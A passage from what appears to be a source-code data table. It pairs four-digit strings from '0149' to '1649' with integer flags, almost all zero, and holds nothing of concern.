"0149", 0 }, { "0150", 0 }, { "0151", 0 }, { "0152", 0 }, { "0153", 0 }, { "0154", 0 }, { "0155", 0 }, { "0156", 0 }, { "0157", 0 }, { "0158", 0 }, { "0159", 0 }, { "0160", 0 }, { "0161", 0 }, { "0162", 0 }, { "0163", 0 }, { "0164", 0 }, { "0165", 0 }, { "0166", 0 }, { "0167", 0 }, { "0168", 0 }, { "0169", 0 }, { "0170", 0 }, { "0171", 0 }, { "0172", 0 }, { "0173", 0 }, { "0174", 0 }, { "0175", 0 }, { "0176", 0 }, { "0177", 0 }, { "0178", 0 }, { "0179", 0 }, { "0180", 0 }, { "0181", 0 }, { "0182", 0 }, { "0183", 0 }, { "0184", 0 }, { "0185", 0 }, { "0186", 0 }, { "0187", 0 }, { "0188", 0 }, { "0189", 0 }, { "0190", 0 }, { "0191", 0 }, { "0192", 0 }, { "0193", 0 }, { "0194", 0 }, { "0195", 0 }, { "0196", 0 }, { "0197", 0 }, { "0198", 0 }, { "0199", 0 }, { "0200", 0 }, { "0201", 0 }, { "0202", 0 }, { "0203", 0 }, { "0204", 0 }, { "0205", 0 }, { "0206", 0 }, { "0207", 0 }, { "0208", 0 }, { "0209", 0 }, { "0210", 0 }, { "0211", 0 }, { "0212", 0 }, { "0213", 0 }, { "0214", 0 }, { "0215", 0 }, { "0216", 0 }, { "0217", 0 }, { "0218", 0 }, { "0219", 0 }, { "0220", 0 }, { "0221", 0 }, { "0222", 0 }, { "0223", 0 }, { "0224", 0 }, { "0225", 0 }, { "0226", 0 }, { "0227", 0 }, { "0228", 0 }, { "0229", 0 }, { "0230", 0 }, { "0231", 0 }, { "0232", 0 }, { "0233", 0 }, { "0234", 0 }, { "0235", 0 }, { "0236", 0 }, { "0237", 0 }, { "0238", 0 }, { "0239", 0 }, { "0240", 0 }, { "0241", 0 }, { "0242", 0 }, { "0243", 0 }, { "0244", 0 }, { "0245", 0 }, { "0246", 0 }, { "0247", 0 }, { "0248", 0 }, { "0249", 0 }, { "0250", 0 }, { "0251", 0 }, { "0252", 0 }, { "0253", 0 }, { "0254", 0 }, { "0255", 0 }, { "0256", 0 }, { "0257", 0 }, { "0258", 0 }, { "0259", 0 }, { "0260", 0 }, { "0261", 0 }, { "0262", 0 }, { "0263", 0 }, { "0264", 0 }, { "0265", 0 }, { "0266", 0 }, { "0267", 0 }, { "0268", 0 }, { "0269", 0 }, { "0270", 0 }, { "0271", 0 }, { "0272", 0 }, { "0273", 0 }, { "0274", 0 }, { "0275", 0 }, { "0276", 0 }, { "0277", 0 }, { "0278", 0 }, { "0279", 0 }, { "0280", 0 }, { "0281", 0 }, { "0282", 0 }, { "0283", 0 }, { "0284", 0 }, { "0285", 0 }, { "0286", 0 }, { "0287", 0 }, { "0288", 0 }, { "0289", 0 }, { "0290", 0 }, { "0291", 0 }, { "0292", 0 }, { "0293", 0 }, { "0294", 0 }, { "0295", 0 }, { "0296", 0 }, { "0297", 0 }, { "0298", 0 }, { "0299", 0 }, { "0300", 0 }, { "0301", 0 }, { "0302", 0 }, { "0303", 0 }, { "0304", 0 }, { "0305", 0 }, { "0306", 0 }, { "0307", 0 }, { "0308", 0 }, { "0309", 0 }, { "0310", 0 }, { "0311", 0 }, { "0312", 0 }, { "0313", 0 }, { "0314", 0 }, { "0315", 0 }, { "0316", 0 }, { "0317", 0 }, { "0318", 0 }, { "0319", 0 }, { "0320", 0 }, { "0321", 0 }, { "0322", 0 }, { "0323", 0 }, { "0324", 0 }, { "0325", 0 }, { "0326", 0 }, { "0327", 0 }, { "0328", 0 }, { "0329", 0 }, { "0330", 0 }, { "0331", 0 }, { "0332", 0 }, { "0333", 0 }, { "0334", 0 }, { "0335", 0 }, { "0336", 0 }, { "0337", 0 }, { "0338", 0 }, { "0339", 0 }, { "0340", 0 }, { "0341", 0 }, { "0342", 0 }, { "0343", 0 }, { "0344", 0 }, { "0345", 0 }, { "0346", 0 }, { "0347", 0 }, { "0348", 0 }, { "0349", 0 }, { "0350", 0 }, { "0351", 0 }, { "0352", 0 }, { "0353", 0 }, { "0354", 0 }, { "0355", 0 }, { "0356", 0 }, { "0357", 0 }, { "0358", 0 }, { "0359", 0 }, { "0360", 0 }, { "0361", 0 }, { "0362", 0 }, { "0363", 0 }, { "0364", 0 }, { "0365", 0 }, { "0366", 0 }, { "0367", 0 }, { "0368", 0 }, { "0369", 0 }, { "0370", 0 }, { "0371", 0 }, { "0372", 0 }, { "0373", 0 }, { "0374", 0 }, { "0375", 0 }, { "0376", 0 }, { "0377", 0 }, { "0378", 0 }, { "0379", 0 }, { "0380", 0 }, { "0381", 0 }, { "0382", 0 }, { "0383", 0 }, { "0384", 0 }, { "0385", 0 }, { "0386", 0 }, { "0387", 0 }, { "0388", 0 }, { "0389", 0 }, { "0390", 0 }, { "0391", 0 }, { "0392", 0 }, { "0393", 0 }, { "0394", 0 }, { "0395", 0 }, { "0396", 0 }, { "0397", 0 }, { "0398", 0 }, { "0399", 0 }, { "0400", 0 }, { "0401", 0 }, { "0402", 0 }, { "0403", 0 }, { "0404", 0 }, { "0405", 0 }, { "0406", 0 }, { "0407", 0 }, { "0408", 0 }, { "0409", 0 }, { "0410", 0 }, { "0411", 0 }, { "0412", 0 }, { "0413", 0 }, { "0414", 0 }, { "0415", 0 }, { "0416", 0 }, { "0417", 0 }, { "0418", 0 }, { "0419", 0 }, { "0420", 0 }, { "0421", 0 }, { "0422", 0 }, { "0423", 0 }, { "0424", 0 }, { "0425", 0 }, { "0426", 0 }, { "0427", 0 }, { "0428", 0 }, { "0429", 0 }, { "0430", 0 }, { "0431", 0 }, { "0432", 0 }, { "0433", 0 }, { "0434", 0 }, { "0435", 0 }, { "0436", 0 }, { "0437", 0 }, { "0438", 0 }, { "0439", 0 }, { "0440", 0 }, { "0441", 0 }, { "0442", 0 }, { "0443", 0 }, { "0444", 0 }, { "0445", 0 }, { "0446", 0 }, { "0447", 0 }, { "0448", 0 }, { "0449", 0 }, { "0450", 0 }, { "0451", 0 }, { "0452", 0 }, { "0453", 0 }, { "0454", 0 }, { "0455", 0 }, { "0456", 0 }, { "0457", 0 }, { "0458", 0 }, { "0459", 0 }, { "0460", 0 }, { "0461", 0 }, { "0462", 0 }, { "0463", 0 }, { "0464", 0 }, { "0465", 0 }, { "0466", 0 }, { "0467", 0 }, { "0468", 0 }, { "0469", 0 }, { "0470", 0 }, { "0471", 0 }, { "0472", 0 }, { "0473", 0 }, { "0474", 0 }, { "0475", 0 }, { "0476", 0 }, { "0477", 0 }, { "0478", 0 }, { "0479", 0 }, { "0480", 0 }, { "0481", 0 }, { "0482", 0 }, { "0483", 0 }, { "0484", 0 }, { "0485", 0 }, { "0486", 0 }, { "0487", 0 }, { "0488", 0 }, { "0489", 0 }, { "0490", 0 }, { "0491", 0 }, { "0492", 0 }, { "0493", 0 }, { "0494", 0 }, { "0495", 0 }, { "0496", 0 }, { "0497", 0 }, { "0498", 0 }, { "0499", 0 }, { "0500", 0 }, { "0501", 0 }, { "0502", 0 }, { "0503", 0 }, { "0504", 0 }, { "0505", 0 }, { "0506", 0 }, { "0507", 0 }, { "0508", 0 }, { "0509", 0 }, { "0510", 0 }, { "0511", 0 }, { "0512", 0 }, { "0513", 0 }, { "0514", 0 }, { "0515", 0 }, { "0516", 0 }, { "0517", 0 }, { "0518", 0 }, { "0519", 0 }, { "0520", 0 }, { "0521", 0 }, { "0522", 0 }, { "0523", 0 }, { "0524", 0 }, { "0525", 0 }, { "0526", 0 }, { "0527", 0 }, { "0528", 0 }, { "0529", 0 }, { "0530", 0 }, { "0531", 0 }, { "0532", 0 }, { "0533", 0 }, { "0534", 0 }, { "0535", 0 }, { "0536", 0 }, { "0537", 0 }, { "0538", 0 }, { "0539", 0 }, { "0540", 0 }, { "0541", 0 }, { "0542", 0 }, { "0543", 0 }, { "0544", 0 }, { "0545", 0 }, { "0546", 0 }, { "0547", 0 }, { "0548", 0 }, { "0549", 0 }, { "0550", 0 }, { "0551", 0 }, { "0552", 0 }, { "0553", 0 }, { "0554", 0 }, { "0555", 0 }, { "0556", 0 }, { "0557", 0 }, { "0558", 0 }, { "0559", 0 }, { "0560", 0 }, { "0561", 0 }, { "0562", 0 }, { "0563", 0 }, { "0564", 0 }, { "0565", 0 }, { "0566", 0 }, { "0567", 0 }, { "0568", 0 }, { "0569", 0 }, { "0570", 0 }, { "0571", 0 }, { "0572", 0 }, { "0573", 0 }, { "0574", 0 }, { "0575", 0 }, { "0576", 0 }, { "0577", 0 }, { "0578", 0 }, { "0579", 0 }, { "0580", 0 }, { "0581", 0 }, { "0582", 0 }, { "0583", 0 }, { "0584", 0 }, { "0585", 0 }, { "0586", 0 }, { "0587", 0 }, { "0588", 0 }, { "0589", 0 }, { "0590", 0 }, { "0591", 0 }, { "0592", 0 }, { "0593", 0 }, { "0594", 0 }, { "0595", 0 }, { "0596", 0 }, { "0597", 0 }, { "0598", 0 }, { "0599", 0 }, { "0600", 0 }, { "0601", 0 }, { "0602", 0 }, { "0603", 0 }, { "0604", 0 }, { "0605", 0 }, { "0606", 0 }, { "0607", 0 }, { "0608", 0 }, { "0609", 0 }, { "0610", 0 }, { "0611", 0 }, { "0612", 0 }, { "0613", 0 }, { "0614", 0 }, { "0615", 0 }, { "0616", 0 }, { "0617", 0 }, { "0618", 0 }, { "0619", 0 }, { "0620", 0 }, { "0621", 0 }, { "0622", 0 }, { "0623", 0 }, { "0624", 0 }, { "0625", 0 }, { "0626", 0 }, { "0627", 0 }, { "0628", 0 }, { "0629", 0 }, { "0630", 0 }, { "0631", 0 }, { "0632", 0 }, { "0633", 0 }, { "0634", 0 }, { "0635", 0 }, { "0636", 0 }, { "0637", 0 }, { "0638", 0 }, { "0639", 0 }, { "0640", 0 }, { "0641", 0 }, { "0642", 0 }, { "0643", 0 }, { "0644", 0 }, { "0645", 0 }, { "0646", 0 }, { "0647", 0 }, { "0648", 0 }, { "0649", 0 }, { "0650", 0 }, { "0651", 0 }, { "0652", 0 }, { "0653", 0 }, { "0654", 0 }, { "0655", 0 }, { "0656", 0 }, { "0657", 0 }, { "0658", 0 }, { "0659", 0 }, { "0660", 0 }, { "0661", 0 }, { "0662", 0 }, { "0663", 0 }, { "0664", 0 }, { "0665", 0 }, { "0666", 0 }, { "0667", 0 }, { "0668", 0 }, { "0669", 0 }, { "0670", 0 }, { "0671", 0 }, { "0672", 0 }, { "0673", 0 }, { "0674", 0 }, { "0675", 0 }, { "0676", 0 }, { "0677", 0 }, { "0678", 0 }, { "0679", 0 }, { "0680", 0 }, { "0681", 0 }, { "0682", 0 }, { "0683", 0 }, { "0684", 0 }, { "0685", 0 }, { "0686", 0 }, { "0687", 0 }, { "0688", 0 }, { "0689", 0 }, { "0690", 0 }, { "0691", 0 }, { "0692", 0 }, { "0693", 0 }, { "0694", 0 }, { "0695", 0 }, { "0696", 0 }, { "0697", 0 }, { "0698", 0 }, { "0699", 0 }, { "0700", 0 }, { "0701", 0 }, { "0702", 0 }, { "0703", 0 }, { "0704", 0 }, { "0705", 0 }, { "0706", 0 }, { "0707", 0 }, { "0708", 0 }, { "0709", 0 }, { "0710", 0 }, { "0711", 0 }, { "0712", 0 }, { "0713", 0 }, { "0714", 0 }, { "0715", 0 }, { "0716", 0 }, { "0717", 0 }, { "0718", 0 }, { "0719", 0 }, { "0720", 0 }, { "0721", 0 }, { "0722", 0 }, { "0723", 0 }, { "0724", 0 }, { "0725", 0 }, { "0726", 0 }, { "0727", 0 }, { "0728", 0 }, { "0729", 0 }, { "0730", 0 }, { "0731", 0 }, { "0732", 0 }, { "0733", 0 }, { "0734", 0 }, { "0735", 0 }, { "0736", 0 }, { "0737", 0 }, { "0738", 0 }, { "0739", 0 }, { "0740", 0 }, { "0741", 0 }, { "0742", 0 }, { "0743", 0 }, { "0744", 0 }, { "0745", 0 }, { "0746", 0 }, { "0747", 0 }, { "0748", 0 }, { "0749", 0 }, { "0750", 0 }, { "0751", 0 }, { "0752", 0 }, { "0753", 0 }, { "0754", 0 }, { "0755", 0 }, { "0756", 0 }, { "0757", 0 }, { "0758", 0 }, { "0759", 0 }, { "0760", 0 }, { "0761", 0 }, { "0762", 0 }, { "0763", 0 }, { "0764", 0 }, { "0765", 0 }, { "0766", 0 }, { "0767", 0 }, { "0768", 0 }, { "0769", 0 }, { "0770", 0 }, { "0771", 0 }, { "0772", 0 }, { "0773", 0 }, { "0774", 0 }, { "0775", 0 }, { "0776", 0 }, { "0777", 0 }, { "0778", 0 }, { "0779", 0 }, { "0780", 0 }, { "0781", 0 }, { "0782", 0 }, { "0783", 0 }, { "0784", 0 }, { "0785", 0 }, { "0786", 0 }, { "0787", 0 }, { "0788", 0 }, { "0789", 0 }, { "0790", 0 }, { "0791", 0 }, { "0792", 0 }, { "0793", 0 }, { "0794", 0 }, { "0795", 0 }, { "0796", 0 }, { "0797", 0 }, { "0798", 0 }, { "0799", 0 }, { "0800", 0 }, { "0801", 0 }, { "0802", 0 }, { "0803", 0 }, { "0804", 0 }, { "0805", 0 }, { "0806", 0 }, { "0807", 0 }, { "0808", 0 }, { "0809", 0 }, { "0810", 0 }, { "0811", 0 }, { "0812", 0 }, { "0813", 0 }, { "0814", 0 }, { "0815", 0 }, { "0816", 0 }, { "0817", 0 }, { "0818", 0 }, { "0819", 0 }, { "0820", 0 }, { "0821", 0 }, { "0822", 0 }, { "0823", 0 }, { "0824", 0 }, { "0825", 0 }, { "0826", 0 }, { "0827", 0 }, { "0828", 0 }, { "0829", 0 }, { "0830", 0 }, { "0831", 0 }, { "0832", 0 }, { "0833", 0 }, { "0834", 0 }, { "0835", 0 }, { "0836", 0 }, { "0837", 0 }, { "0838", 0 }, { "0839", 0 }, { "0840", 0 }, { "0841", 0 }, { "0842", 0 }, { "0843", 0 }, { "0844", 0 }, { "0845", 0 }, { "0846", 0 }, { "0847", 0 }, { "0848", 0 }, { "0849", 0 }, { "0850", 0 }, { "0851", 0 }, { "0852", 0 }, { "0853", 0 }, { "0854", 0 }, { "0855", 0 }, { "0856", 0 }, { "0857", 0 }, { "0858", 0 }, { "0859", 0 }, { "0860", 0 }, { "0861", 0 }, { "0862", 0 }, { "0863", 0 }, { "0864", 0 }, { "0865", 0 }, { "0866", 0 }, { "0867", 0 }, { "0868", 0 }, { "0869", 0 }, { "0870", 0 }, { "0871", 0 }, { "0872", 0 }, { "0873", 0 }, { "0874", 0 }, { "0875", 0 }, { "0876", 0 }, { "0877", 0 }, { "0878", 0 }, { "0879", 0 }, { "0880", 0 }, { "0881", 0 }, { "0882", 0 }, { "0883", 0 }, { "0884", 0 }, { "0885", 0 }, { "0886", 0 }, { "0887", 0 }, { "0888", 0 }, { "0889", 0 }, { "0890", 0 }, { "0891", 0 }, { "0892", 0 }, { "0893", 0 }, { "0894", 0 }, { "0895", 0 }, { "0896", 0 }, { "0897", 0 }, { "0898", 0 }, { "0899", 0 }, { "0900", 0 }, { "0901", 0 }, { "0902", 0 }, { "0903", 0 }, { "0904", 0 }, { "0905", 0 }, { "0906", 0 }, { "0907", 0 }, { "0908", 0 }, { "0909", 0 }, { "0910", 0 }, { "0911", 0 }, { "0912", 0 }, { "0913", 0 }, { "0914", 0 }, { "0915", 0 }, { "0916", 0 }, { "0917", 0 }, { "0918", 0 }, { "0919", 0 }, { "0920", 0 }, { "0921", 0 }, { "0922", 0 }, { "0923", 0 }, { "0924", 0 }, { "0925", 0 }, { "0926", 0 }, { "0927", 0 }, { "0928", 0 }, { "0929", 0 }, { "0930", 0 }, { "0931", 0 }, { "0932", 0 }, { "0933", 0 }, { "0934", 0 }, { "0935", 0 }, { "0936", 0 }, { "0937", 0 }, { "0938", 0 }, { "0939", 0 }, { "0940", 0 }, { "0941", 0 }, { "0942", 0 }, { "0943", 0 }, { "0944", 0 }, { "0945", 0 }, { "0946", 0 }, { "0947", 0 }, { "0948", 0 }, { "0949", 0 }, { "0950", 0 }, { "0951", 0 }, { "0952", 0 }, { "0953", 0 }, { "0954", 0 }, { "0955", 0 }, { "0956", 0 }, { "0957", 0 }, { "0958", 0 }, { "0959", 0 }, { "0960", 0 }, { "0961", 0 }, { "0962", 0 }, { "0963", 0 }, { "0964", 0 }, { "0965", 0 }, { "0966", 0 }, { "0967", 0 }, { "0968", 0 }, { "0969", 0 }, { "0970", 0 }, { "0971", 0 }, { "0972", 0 }, { "0973", 0 }, { "0974", 0 }, { "0975", 0 }, { "0976", 0 }, { "0977", 0 }, { "0978", 0 }, { "0979", 0 }, { "0980", 0 }, { "0981", 0 }, { "0982", 0 }, { "0983", 0 }, { "0984", 0 }, { "0985", 0 }, { "0986", 0 }, { "0987", 0 }, { "0988", 0 }, { "0989", 0 }, { "0990", 0 }, { "0991", 0 }, { "0992", 0 }, { "0993", 0 }, { "0994", 0 }, { "0995", 0 }, { "0996", 0 }, { "0997", 0 }, { "0998", 0 }, { "0999", 0 }, { "1000", 0 }, { "1001", 0 }, { "1002", 0 }, { "1003", 0 }, { "1004", 0 }, { "1005", 0 }, { "1006", 0 }, { "1007", 0 }, { "1008", 0 }, { "1009", 0 }, { "1010", 0 }, { "1011", 0 }, { "1012", 0 }, { "1013", 0 }, { "1014", 0 }, { "1015", 0 }, { "1016", 0 }, { "1017", 0 }, { "1018", 0 }, { "1019", 0 }, { "1020", 0 }, { "1021", 0 }, { "1022", 0 }, { "1023", 0 }, { "1024", 0 }, { "1025", 0 }, { "1026", 0 }, { "1027", 0 }, { "1028", 0 }, { "1029", 0 }, { "1030", 0 }, { "1031", 0 }, { "1032", 0 }, { "1033", 0 }, { "1034", 0 }, { "1035", 0 }, { "1036", 0 }, { "1037", 0 }, { "1038", 0 }, { "1039", 0 }, { "1040", 0 }, { "1041", 0 }, { "1042", 0 }, { "1043", 0 }, { "1044", 0 }, { "1045", 0 }, { "1046", 0 }, { "1047", 0 }, { "1048", 0 }, { "1049", 0 }, { "1050", 0 }, { "1051", 0 }, { "1052", 0 }, { "1053", 0 }, { "1054", 0 }, { "1055", 0 }, { "1056", 0 }, { "1057", 0 }, { "1058", 0 }, { "1059", 0 }, { "1060", 0 }, { "1061", 0 }, { "1062", 0 }, { "1063", 0 }, { "1064", 0 }, { "1065", 0 }, { "1066", 0 }, { "1067", 0 }, { "1068", 0 }, { "1069", 0 }, { "1070", 0 }, { "1071", 0 }, { "1072", 0 }, { "1073", 0 }, { "1074", 0 }, { "1075", 0 }, { "1076", 0 }, { "1077", 0 }, { "1078", 0 }, { "1079", 0 }, { "1080", 0 }, { "1081", 0 }, { "1082", 0 }, { "1083", 0 }, { "1084", 0 }, { "1085", 0 }, { "1086", 0 }, { "1087", 0 }, { "1088", 0 }, { "1089", 0 }, { "1090", 0 }, { "1091", 0 }, { "1092", 0 }, { "1093", 0 }, { "1094", 0 }, { "1095", 0 }, { "1096", 0 }, { "1097", 0 }, { "1098", 0 }, { "1099", 0 }, { "1100", 0 }, { "1101", 0 }, { "1102", 0 }, { "1103", 0 }, { "1104", 0 }, { "1105", 0 }, { "1106", 0 }, { "1107", 0 }, { "1108", 0 }, { "1109", 0 }, { "1110", 0 }, { "1111", 1 }, { "1112", 0 }, { "1113", 0 }, { "1114", 0 }, { "1115", 0 }, { "1116", 0 }, { "1117", 0 }, { "1118", 0 }, { "1119", 0 }, { "1120", 0 }, { "1121", 0 }, { "1122", 0 }, { "1123", 0 }, { "1124", 0 }, { "1125", 0 }, { "1126", 0 }, { "1127", 0 }, { "1128", 0 }, { "1129", 0 }, { "1130", 0 }, { "1131", 0 }, { "1132", 0 }, { "1133", 0 }, { "1134", 0 }, { "1135", 0 }, { "1136", 0 }, { "1137", 0 }, { "1138", 0 }, { "1139", 0 }, { "1140", 0 }, { "1141", 0 }, { "1142", 0 }, { "1143", 0 }, { "1144", 0 }, { "1145", 0 }, { "1146", 0 }, { "1147", 0 }, { "1148", 0 }, { "1149", 0 }, { "1150", 0 }, { "1151", 0 }, { "1152", 0 }, { "1153", 0 }, { "1154", 0 }, { "1155", 0 }, { "1156", 0 }, { "1157", 0 }, { "1158", 0 }, { "1159", 0 }, { "1160", 0 }, { "1161", 0 }, { "1162", 0 }, { "1163", 0 }, { "1164", 0 }, { "1165", 0 }, { "1166", 0 }, { "1167", 0 }, { "1168", 0 }, { "1169", 0 }, { "1170", 0 }, { "1171", 0 }, { "1172", 0 }, { "1173", 0 }, { "1174", 0 }, { "1175", 0 }, { "1176", 0 }, { "1177", 0 }, { "1178", 0 }, { "1179", 0 }, { "1180", 0 }, { "1181", 0 }, { "1182", 0 }, { "1183", 0 }, { "1184", 0 }, { "1185", 0 }, { "1186", 0 }, { "1187", 0 }, { "1188", 0 }, { "1189", 0 }, { "1190", 0 }, { "1191", 0 }, { "1192", 0 }, { "1193", 0 }, { "1194", 0 }, { "1195", 0 }, { "1196", 0 }, { "1197", 0 }, { "1198", 0 }, { "1199", 0 }, { "1200", 0 }, { "1201", 0 }, { "1202", 0 }, { "1203", 0 }, { "1204", 0 }, { "1205", 0 }, { "1206", 0 }, { "1207", 0 }, { "1208", 0 }, { "1209", 0 }, { "1210", 0 }, { "1211", 0 }, { "1212", 0 }, { "1213", 0 }, { "1214", 0 }, { "1215", 0 }, { "1216", 0 }, { "1217", 0 }, { "1218", 0 }, { "1219", 0 }, { "1220", 0 }, { "1221", 0 }, { "1222", 0 }, { "1223", 0 }, { "1224", 0 }, { "1225", 0 }, { "1226", 0 }, { "1227", 0 }, { "1228", 0 }, { "1229", 0 }, { "1230", 0 }, { "1231", 0 }, { "1232", 0 }, { "1233", 0 }, { "1235", 0 }, { "1236", 0 }, { "1237", 0 }, { "1238", 0 }, { "1239", 0 }, { "1240", 0 }, { "1241", 0 }, { "1242", 0 }, { "1243", 0 }, { "1244", 0 }, { "1245", 0 }, { "1246", 0 }, { "1247", 0 }, { "1248", 0 }, { "1249", 0 }, { "1250", 0 }, { "1251", 0 }, { "1252", 0 }, { "1253", 0 }, { "1254", 0 }, { "1255", 0 }, { "1256", 0 }, { "1257", 0 }, { "1258", 0 }, { "1259", 0 }, { "1260", 0 }, { "1261", 0 }, { "1262", 0 }, { "1263", 0 }, { "1264", 0 }, { "1265", 0 }, { "1266", 0 }, { "1267", 0 }, { "1268", 0 }, { "1269", 0 }, { "1270", 0 }, { "1271", 0 }, { "1272", 0 }, { "1273", 0 }, { "1274", 0 }, { "1275", 0 }, { "1276", 0 }, { "1277", 0 }, { "1278", 0 }, { "1279", 0 }, { "1280", 0 }, { "1281", 0 }, { "1282", 0 }, { "1283", 0 }, { "1284", 0 }, { "1285", 0 }, { "1286", 0 }, { "1287", 0 }, { "1288", 0 }, { "1289", 0 }, { "1290", 0 }, { "1291", 0 }, { "1292", 0 }, { "1293", 0 }, { "1294", 0 }, { "1295", 0 }, { "1296", 0 }, { "1297", 0 }, { "1298", 0 }, { "1299", 0 }, { "1300", 0 }, { "1301", 0 }, { "1302", 0 }, { "1303", 0 }, { "1304", 0 }, { "1305", 0 }, { "1306", 0 }, { "1307", 0 }, { "1308", 0 }, { "1309", 0 }, { "1310", 0 }, { "1311", 0 }, { "1312", 0 }, { "1313", 0 }, { "1314", 0 }, { "1315", 0 }, { "1316", 0 }, { "1317", 0 }, { "1318", 0 }, { "1319", 0 }, { "1320", 0 }, { "1321", 0 }, { "1322", 0 }, { "1323", 0 }, { "1324", 0 }, { "1325", 0 }, { "1326", 0 }, { "1327", 0 }, { "1328", 0 }, { "1329", 0 }, { "1330", 0 }, { "1331", 0 }, { "1332", 0 }, { "1333", 0 }, { "1334", 0 }, { "1335", 0 }, { "1336", 0 }, { "1337", 0 }, { "1338", 0 }, { "1339", 0 }, { "1340", 0 }, { "1341", 0 }, { "1342", 0 }, { "1343", 0 }, { "1344", 0 }, { "1345", 0 }, { "1346", 0 }, { "1347", 0 }, { "1348", 0 }, { "1349", 0 }, { "1350", 0 }, { "1351", 0 }, { "1352", 0 }, { "1353", 0 }, { "1354", 0 }, { "1355", 0 }, { "1356", 0 }, { "1357", 0 }, { "1358", 0 }, { "1359", 0 }, { "1360", 0 }, { "1361", 0 }, { "1362", 0 }, { "1363", 0 }, { "1364", 0 }, { "1365", 0 }, { "1366", 0 }, { "1367", 0 }, { "1368", 0 }, { "1369", 0 }, { "1370", 0 }, { "1371", 0 }, { "1372", 0 }, { "1373", 0 }, { "1374", 0 }, { "1375", 0 }, { "1376", 0 }, { "1377", 0 }, { "1378", 0 }, { "1379", 0 }, { "1380", 0 }, { "1381", 0 }, { "1382", 0 }, { "1383", 0 }, { "1384", 0 }, { "1385", 0 }, { "1386", 0 }, { "1387", 0 }, { "1388", 0 }, { "1389", 0 }, { "1390", 0 }, { "1391", 0 }, { "1392", 0 }, { "1393", 0 }, { "1394", 0 }, { "1395", 0 }, { "1396", 0 }, { "1397", 0 }, { "1398", 0 }, { "1399", 0 }, { "1400", 0 }, { "1401", 0 }, { "1402", 0 }, { "1403", 0 }, { "1404", 0 }, { "1405", 0 }, { "1406", 0 }, { "1407", 0 }, { "1408", 0 }, { "1409", 0 }, { "1410", 0 }, { "1411", 0 }, { "1412", 0 }, { "1413", 0 }, { "1414", 0 }, { "1415", 0 }, { "1416", 0 }, { "1417", 0 }, { "1418", 0 }, { "1419", 0 }, { "1420", 0 }, { "1421", 0 }, { "1422", 0 }, { "1423", 0 }, { "1424", 0 }, { "1425", 0 }, { "1426", 0 }, { "1427", 0 }, { "1428", 0 }, { "1429", 0 }, { "1430", 0 }, { "1431", 0 }, { "1432", 0 }, { "1433", 0 }, { "1434", 0 }, { "1435", 0 }, { "1436", 0 }, { "1437", 0 }, { "1438", 0 }, { "1439", 0 }, { "1440", 0 }, { "1441", 0 }, { "1442", 0 }, { "1443", 0 }, { "1444", 0 }, { "1445", 0 }, { "1446", 0 }, { "1447", 0 }, { "1448", 0 }, { "1449", 0 }, { "1450", 0 }, { "1451", 0 }, { "1452", 0 }, { "1453", 0 }, { "1454", 0 }, { "1455", 0 }, { "1456", 0 }, { "1457", 0 }, { "1458", 0 }, { "1459", 0 }, { "1460", 0 }, { "1461", 0 }, { "1462", 0 }, { "1463", 0 }, { "1464", 0 }, { "1465", 0 }, { "1466", 0 }, { "1467", 0 }, { "1468", 0 }, { "1469", 0 }, { "1470", 0 }, { "1471", 0 }, { "1472", 0 }, { "1473", 0 }, { "1474", 0 }, { "1475", 0 }, { "1476", 0 }, { "1477", 0 }, { "1478", 0 }, { "1479", 0 }, { "1480", 0 }, { "1481", 0 }, { "1482", 0 }, { "1483", 0 }, { "1484", 0 }, { "1485", 0 }, { "1486", 0 }, { "1487", 0 }, { "1488", 0 }, { "1489", 0 }, { "1490", 0 }, { "1491", 0 }, { "1492", 0 }, { "1493", 0 }, { "1494", 0 }, { "1495", 0 }, { "1496", 0 }, { "1497", 0 }, { "1498", 0 }, { "1499", 0 }, { "1500", 0 }, { "1501", 0 }, { "1502", 0 }, { "1503", 0 }, { "1504", 0 }, { "1505", 0 }, { "1506", 0 }, { "1507", 0 }, { "1508", 0 }, { "1509", 0 }, { "1510", 0 }, { "1511", 0 }, { "1512", 0 }, { "1513", 0 }, { "1514", 0 }, { "1515", 0 }, { "1516", 0 }, { "1517", 0 }, { "1518", 0 }, { "1519", 0 }, { "1520", 0 }, { "1521", 0 }, { "1522", 0 }, { "1523", 0 }, { "1524", 0 }, { "1525", 0 }, { "1526", 0 }, { "1527", 0 }, { "1528", 0 }, { "1529", 0 }, { "1530", 0 }, { "1531", 0 }, { "1532", 0 }, { "1533", 0 }, { "1534", 0 }, { "1535", 0 }, { "1536", 0 }, { "1537", 0 }, { "1538", 0 }, { "1539", 0 }, { "1540", 0 }, { "1541", 0 }, { "1542", 0 }, { "1543", 0 }, { "1544", 0 }, { "1545", 0 }, { "1546", 0 }, { "1547", 0 }, { "1548", 0 }, { "1549", 0 }, { "1550", 0 }, { "1551", 0 }, { "1552", 0 }, { "1553", 0 }, { "1554", 0 }, { "1555", 0 }, { "1556", 0 }, { "1557", 0 }, { "1558", 0 }, { "1559", 0 }, { "1560", 0 }, { "1561", 0 }, { "1562", 0 }, { "1563", 0 }, { "1564", 0 }, { "1565", 0 }, { "1566", 0 }, { "1567", 0 }, { "1568", 0 }, { "1569", 0 }, { "1570", 0 }, { "1571", 0 }, { "1572", 0 }, { "1573", 0 }, { "1574", 0 }, { "1575", 0 }, { "1576", 0 }, { "1577", 0 }, { "1578", 0 }, { "1579", 0 }, { "1580", 0 }, { "1581", 0 }, { "1582", 0 }, { "1583", 0 }, { "1584", 0 }, { "1585", 0 }, { "1586", 0 }, { "1587", 0 }, { "1588", 0 }, { "1589", 0 }, { "1590", 0 }, { "1591", 0 }, { "1592", 0 }, { "1593", 0 }, { "1594", 0 }, { "1595", 0 }, { "1596", 0 }, { "1597", 0 }, { "1598", 0 }, { "1599", 0 }, { "1600", 0 }, { "1601", 0 }, { "1602", 0 }, { "1603", 0 }, { "1604", 0 }, { "1605", 0 }, { "1606", 0 }, { "1607", 0 }, { "1608", 0 }, { "1609", 0 }, { "1610", 0 }, { "1611", 0 }, { "1612", 0 }, { "1613", 0 }, { "1614", 0 }, { "1615", 0 }, { "1616", 0 }, { "1617", 0 }, { "1618", 0 }, { "1619", 0 }, { "1620", 0 }, { "1621", 0 }, { "1622", 0 }, { "1623", 0 }, { "1624", 0 }, { "1625", 0 }, { "1626", 0 }, { "1627", 0 }, { "1628", 0 }, { "1629", 0 }, { "1630", 0 }, { "1631", 0 }, { "1632", 0 }, { "1633", 0 }, { "1634", 0 }, { "1635", 0 }, { "1636", 0 }, { "1637", 0 }, { "1638", 0 }, { "1639", 0 }, { "1640", 0 }, { "1641", 0 }, { "1642", 0 }, { "1643", 0 }, { "1644", 0 }, { "1645", 0 }, { "1646", 0 }, { "1647", 0 }, { "1648", 0 }, { "1649", 0 }, 